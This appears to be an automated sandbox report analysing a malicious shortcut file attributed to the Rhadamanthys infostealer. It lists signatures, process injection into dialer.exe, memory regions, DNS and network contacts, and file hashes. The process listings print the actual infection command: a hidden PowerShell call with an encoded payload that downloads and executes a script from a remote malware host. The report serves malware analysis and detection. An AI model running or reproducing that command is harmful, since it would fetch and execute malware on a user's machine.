Analysis Overview
SHA256
aba115e0bea67fdde8e73b402d39c7902841c5156febb1651437a306a4da9740
Threat Level: Known bad
The file DOC5723-57235723.lnk.zip was found to be: Known bad.
Malicious Activity Summary
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
Blocklisted process makes network request
Checks computer location settings
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-04-05 11:41
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-05 11:41
Reported
2024-04-05 11:43
Platform
win7-20240221-en
Max time kernel
117s
Max time network
118s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1964 wrote to memory of 2652 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1964 wrote to memory of 2652 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1964 wrote to memory of 2652 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC5723 - 57235723.lnk"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
Network
Files
memory/2652-38-0x000000001B710000-0x000000001B9F2000-memory.dmp
memory/2652-39-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp
memory/2652-41-0x0000000002AB0000-0x0000000002B30000-memory.dmp
memory/2652-40-0x0000000001D70000-0x0000000001D78000-memory.dmp
memory/2652-42-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp
memory/2652-43-0x0000000002AB0000-0x0000000002B30000-memory.dmp
memory/2652-44-0x0000000002AB0000-0x0000000002B30000-memory.dmp
memory/2652-45-0x0000000002AB0000-0x0000000002B30000-memory.dmp
memory/2652-46-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-05 11:41
Reported
2024-04-05 11:43
Platform
win10v2004-20231215-en
Max time kernel
91s
Max time network
123s
Command Line
Signatures
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 4500 created 2640 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\sihost.exe |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 5028 wrote to memory of 4500 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 5028 wrote to memory of 4500 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4500 wrote to memory of 1440 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 4500 wrote to memory of 1440 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 4500 wrote to memory of 1440 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 4500 wrote to memory of 1440 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
Processes
C:\Windows\system32\sihost.exe
sihost.exe
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC5723 - 57235723.lnk"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
C:\Windows\system32\dialer.exe
"C:\Windows\system32\dialer.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | imanikuu.com | udp |
| US | 64.20.41.122:443 | imanikuu.com | tcp |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 122.41.20.64.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.171.91.138.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 150.1.37.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.204.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.136.73.23.in-addr.arpa | udp |
Files
memory/4500-7-0x000001A27DD60000-0x000001A27DD82000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tf12b4s0.heq.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4500-12-0x00007FFBC4850000-0x00007FFBC5311000-memory.dmp
memory/4500-13-0x000001A27DD90000-0x000001A27DDA0000-memory.dmp
memory/4500-14-0x000001A27EAB0000-0x000001A27EB0E000-memory.dmp
memory/4500-15-0x000001A27EB10000-0x000001A27EB20000-memory.dmp
memory/4500-16-0x000001A27EB70000-0x000001A27EF70000-memory.dmp
memory/4500-18-0x000001A27EB70000-0x000001A27EF70000-memory.dmp
memory/4500-17-0x000001A27EB10000-0x000001A27EB20000-memory.dmp
memory/4500-19-0x00007FFBE28D0000-0x00007FFBE2AC5000-memory.dmp
memory/4500-20-0x000001A27EB70000-0x000001A27EF70000-memory.dmp
memory/4500-22-0x00007FFBE02F0000-0x00007FFBE05B9000-memory.dmp
memory/1440-23-0x000001449EA20000-0x000001449EA29000-memory.dmp
memory/4500-21-0x00007FFBE2730000-0x00007FFBE27EE000-memory.dmp
memory/1440-32-0x00007FFBE2730000-0x00007FFBE27EE000-memory.dmp
memory/1440-30-0x00007FFBE28D0000-0x00007FFBE2AC5000-memory.dmp
memory/1440-31-0x00000144A04A0000-0x00000144A08A0000-memory.dmp
memory/4500-33-0x000001A27EB70000-0x000001A27EF70000-memory.dmp
memory/1440-34-0x00007FFBE02F0000-0x00007FFBE05B9000-memory.dmp
memory/4500-29-0x00007FFBC4850000-0x00007FFBC5311000-memory.dmp
memory/1440-28-0x00000144A04A0000-0x00000144A08A0000-memory.dmp
memory/1440-35-0x00000144A04A0000-0x00000144A08A0000-memory.dmp